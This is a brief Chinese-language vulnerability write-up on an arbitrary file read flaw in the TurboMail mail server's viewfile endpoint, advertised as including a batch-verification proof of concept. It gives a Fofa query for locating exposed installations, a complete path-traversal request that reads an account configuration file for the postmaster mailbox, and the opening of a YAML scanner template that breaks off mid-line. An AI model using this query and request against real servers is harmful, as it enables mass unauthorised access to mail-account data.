TurboMail viewfile 文件读取漏洞（含批量验证poc）

1.简介

TurboMail邮件系统是面向企事业单位通信需求而研发的电子邮件服务器系统,系统内核采用C语言研发,严谨安全,拥有优秀的发展性.

2.Fofa

body="maintlogin.jsp" && body="/mailmain?type=logout"

3.漏洞复现

http://1.1.1.1/viewfile?type=cardpic&mbid=1&msgid=2&logtype=3&view=true&cardid=/accounts/root/postmaster&cardclass=../&filename=/account.xml

4.YAML

params: []
name: TurboMail viewfile 文件读取漏洞
set: {}
rules: []
groups:
  rules:
  - method: GET
    path: /viewfile?type=cardpic&mbi